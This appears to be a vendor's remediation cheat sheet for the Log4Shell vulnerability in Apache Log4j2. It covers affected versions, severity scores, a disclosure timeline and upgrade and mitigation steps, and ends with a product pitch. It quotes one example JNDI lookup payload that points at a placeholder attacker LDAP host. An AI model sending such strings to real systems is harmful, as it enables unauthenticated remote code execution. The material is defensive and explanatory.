Log4Shell remediation cheat sheet

On December 9, 2021, a single line dropped into a Minecraft chat window and quietly detonated one of the most consequential vulnerabilities in the history of enterprise software. CVE-2021-44228, better known as Log4Shell, is a remote code execution flaw in Apache Log4j2 — the logging library embedded, often invisibly, in an enormous share of the world's Java applications. An attacker who can get a single crafted string into an application's logs — via a User-Agent header, a form field, a username, an API parameter, almost anything the application logs — can achieve full remote code execution with no authentication required. Given that Log4j2 ships inside thousands of commercial products, cloud services, and internal tools as a transitive dependency, the practical blast radius was less "which systems are vulnerable" and more "which systems can we prove are not." Four years on, Log4Shell remains a fixture of penetration tests and breach post-mortems precisely because it hides so well in shaded JARs, vendored appliances, and forgotten build artifacts. This cheat sheet lays out exactly what's affected, how bad it is, and the concrete steps to close it for good.

What makes it exploitable

Log4j2's message lookup substitution feature evaluates JNDI lookup strings embedded in log messages. If an application logs attacker-controlled input containing a string like ${jndi:ldap://attacker.com/a}, Log4j2 will reach out to the attacker's LDAP server, retrieve a serialized Java object or class reference, and — depending on JDK version and classpath contents — deserialize or load and execute it. No authentication, no user interaction, and often no custom exploit development required: the payload is a single string that can be delivered through virtually any input an application eventually writes to a log.

Affected versions and components

• Apache Log4j2 versions 2.0-beta9 through 2.14.1 are vulnerable to the original CVE-2021-44228 issue.
• Log4j2 2.15.0, Apache's first emergency patch, turned out to be incomplete for certain non-default configurations and was tracked separately as CVE-2021-45046 (RCE/DoS in specific Thread Context Map setups).
• Log4j2 2.16.0, which disabled JNDI lookups by default, still had an unrelated denial-of-service issue fixed as CVE-2021-45105.
• Log4j2 2.17.0 and 2.17.1 address CVE-2021-45105 and CVE-2021-44832 (an RCE requiring attacker control of the logging configuration) respectively. 2.17.1 is the first release that resolves the full chain of 2021 Log4j2 CVEs.
• Log4j 1.x is a different, end-of-life codebase. It is not vulnerable to CVE-2021-44228 itself but carries its own unpatched issues (e.g., CVE-2019-17571, CVE-2021-4104) and should be migrated off entirely rather than patched.
• Exposure is rarely limited to "do we use Log4j2 directly." The library shows up shaded inside other libraries, bundled in vendor appliances, embedded in Java-based CI/CD tooling, and buried inside Spring Boot fat JARs, ElasticSearch, Apache Struts-based apps, VMware products, and countless SaaS platforms' backend services. Treat "is Log4Shell present" as a transitive-dependency question, not a direct-dependency question.

Severity context: CVSS, EPSS, and KEV

• CVSS: NVD scores CVE-2021-44228 at 10.0 (Critical) under CVSS v3.1 — the maximum possible score, reflecting network-based, no-authentication, no-user-interaction, full-impact RCE.
• EPSS: The Exploit Prediction Scoring System has consistently placed Log4Shell near the top percentile of all scored CVEs, with an exploitation probability in the high 90s — unsurprising given the volume of internet-wide scanning and exploitation observed within 48 hours of disclosure.
• KEV: CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities catalog almost immediately, with a remediation deadline set for federal civilian agencies. Any organization subject to KEV-driven patching SLAs or contractual "no KEV CVEs in production" requirements should treat unpatched Log4Shell as an automatic compliance failure, not just a technical risk.

Together these signals describe a rare combination: maximum theoretical severity, near-certain real-world exploitation, and active mandatory remediation timelines. Few CVEs check all three boxes simultaneously.

Timeline

• Nov 24, 2021 — Chen Zhaojun of Alibaba Cloud's security team privately reports the JNDI lookup issue to the Apache Log4j project.
• Dec 9, 2021 — Details and proof-of-concept exploits leak publicly, first surfacing through Minecraft server chat exploits, before Apache's patch is generally available.
• Dec 10, 2021 — Apache releases Log4j2 2.15.0 and CVE-2021-44228 is published. Mass internet-wide scanning begins within hours.
• Dec 13, 2021 — CVE-2021-45046 disclosed; Log4j2 2.16.0 released, disabling JNDI message lookups by default and removing the message lookup pattern entirely.
• Dec 14–15, 2021 — CISA and international CERTs issue emergency directives; federal KEV remediation deadlines are set.
• Dec 17, 2021 — CVE-2021-45105 (DoS via uncontrolled recursion) disclosed; Log4j2 2.17.0 released.
• Dec 28, 2021 — CVE-2021-44832 disclosed; Log4j2 2.17.1 released, closing out the 2021 vulnerability chain.
• 2022–present — Log4Shell continues to appear in breach investigations and ransomware intrusion chains as attackers scan for the long tail of unpatched, shadowed, and vendor-bundled instances.

Remediation steps

1. Inventory everywhere Log4j2 lives, not just your direct dependencies. Grep build manifests and running JVM classpaths for log4j-core, and don't stop at your own repos — check vendor appliances, third-party libraries that shade Log4j2, container base images, and CI/CD tooling. A software bill of materials (SBOM) that captures transitive dependencies is the fastest way to do this at scale; manual grepping across hundreds of services does not scale.
2. Upgrade to Log4j2 2.17.1 or later wherever possible. This is the only remediation that fully closes the chain of 2021 CVEs (44228, 45046, 45105, 44832). Current 2.x releases (2.2x and above) are drop-in replacements for most consumers and are the preferred long-term fix over point patches.
3. If you cannot upgrade immediately, apply the JndiLookup class removal mitigation. Manually strip the vulnerable class from the JAR: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. This mitigates the RCE without requiring a version bump and is Apache's own recommended stopgap for constrained environments.
4. For versions 2.10.0–2.14.1 only, set the system property log4j2.formatMsgNoLookups=true (or the equivalent environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true) as a defense-in-depth measure. Note this mitigation does not fully protect all configurations and should not be treated as a substitute for upgrading.
5. Patch or upgrade the JVM itself. JDK versions 8u191+, 7u201+, and 6u211+ set com.sun.jndi.ldap.object.trustURLCodebase to false by default, which blocks remote class loading via LDAP — reducing (though not eliminating, given local gadget chains) exploitability even on unpatched Log4j2.
6. Migrate off Log4j 1.x entirely rather than patching it — it's end-of-life, has its own unrelated CVEs, and has no equivalent of the 2.17.1 fix. Move to Log4j2 2.17.1+, the reload4j fork, or another actively maintained logging framework.
7. Apply network egress controls as compensating detection and containment. Block or alert on outbound LDAP, RMI, and unexpected DNS lookups originating from application servers — this both limits exploitation impact and gives you a high-fidelity detection signal for exploitation attempts against systems you haven't finished patching.
8. Use WAF/IPS signatures as a stopgap, never as the fix. Payload obfuscation (case variation, nested lookups, encoding tricks) has repeatedly bypassed naive WAF rules for this vulnerability; treat detection rules as buying time for the real fix, not as remediation itself.
9. Re-scan after remediation to confirm the fix actually landed, especially for shaded or repackaged JARs where a "successful" dependency bump in a manifest file doesn't guarantee the vulnerable class was actually removed from the artifact that ships to production.

How Safeguard Helps

Finding every place Log4j2 hides is the hard part of this remediation — Safeguard's SBOM generation and ingestion pipeline builds a complete, transitive-aware inventory across your repos, container images, and vendor artifacts, so shaded and nested instances of log4j-core surface automatically instead of hiding in a fat JAR nobody remembers building. Reachability analysis then tells you which of those instances actually sit on a code path that can receive attacker-controlled input and reach the vulnerable lookup logic, letting teams triage the CVSS-10.0 alert list down to the handful of services that are genuinely exploitable versus the dozens carrying the dependency in dead code. Griffin AI correlates that reachability signal with your KEV and EPSS exposure to rank Log4Shell instances against everything else competing for your team's attention this sprint. And where remediation is as mechanical as bumping to 2.17.1 or later, Safeguard's auto-fix PRs open the version bump directly against the affected manifest, cutting the time between "found" and "fixed" from a ticket-and-wait cycle to a same-day merge.